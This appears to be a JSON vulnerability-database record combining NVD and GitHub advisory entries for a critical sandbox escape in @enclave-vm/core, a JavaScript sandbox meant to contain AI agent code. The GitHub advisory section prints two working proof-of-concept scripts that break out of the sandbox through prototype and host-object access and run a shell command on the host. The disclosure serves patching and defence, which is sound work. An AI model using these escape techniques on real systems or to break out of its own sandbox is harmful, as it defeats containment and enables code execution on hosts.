{"id":"EUVD-2026-8617","revision":null,"records":[{"revision":"ac102fbda4e04cd98f1d58428993f4ec","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-27597","aliases":[],"title":"@enclave-vm/core is vulnerable to Sandbox Escape","description":"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). 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The issue has been fixed in version 2.11.1.","state":0,"publishedAt":"2026-02-25T04:16:03.557+00:00","modifiedAt":"2026-06-17T10:27:21.953+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db","https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-27597","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-94"],"productCriteria":["cpe:2.3:a:agentfront:enclave:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-02-25T04:16:03.557","lastModified":"2026-06-17T10:27:21.953"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-27597","identifiers":["CVE-2026-27597"]},"retained":false,"historicalAffected":[]},{"revision":"aa2ab75351bb47cfa26fe52d63ed6464","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-f229-3862-4942","aliases":["CVE-2026-27597"],"title":"@enclave-vm/core is vulnerable to Sandbox Escape","description":"## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () => {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () => {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) => {\n    result = inspect[['constructor']]\n      [['constructor']]('return process')()\n      .getBuiltinModule('child_process')\n      .execSync('id')\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.","state":0,"publishedAt":"2026-02-25T17:26:23+00:00","modifiedAt":"2026-09-10T03:50:34.7625884+00:00","affected":[{"ecosystem":"npm","name":"@enclave-vm/core","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942","https://nvd.nist.gov/vuln/detail/CVE-2026-27597","https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db","https://github.com/agentfront/enclave"],"sourceUrl":"https://github.com/advisories/GHSA-f229-3862-4942","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f229-3862-4942","identifiers":["GHSA-f229-3862-4942","CVE-2026-27597"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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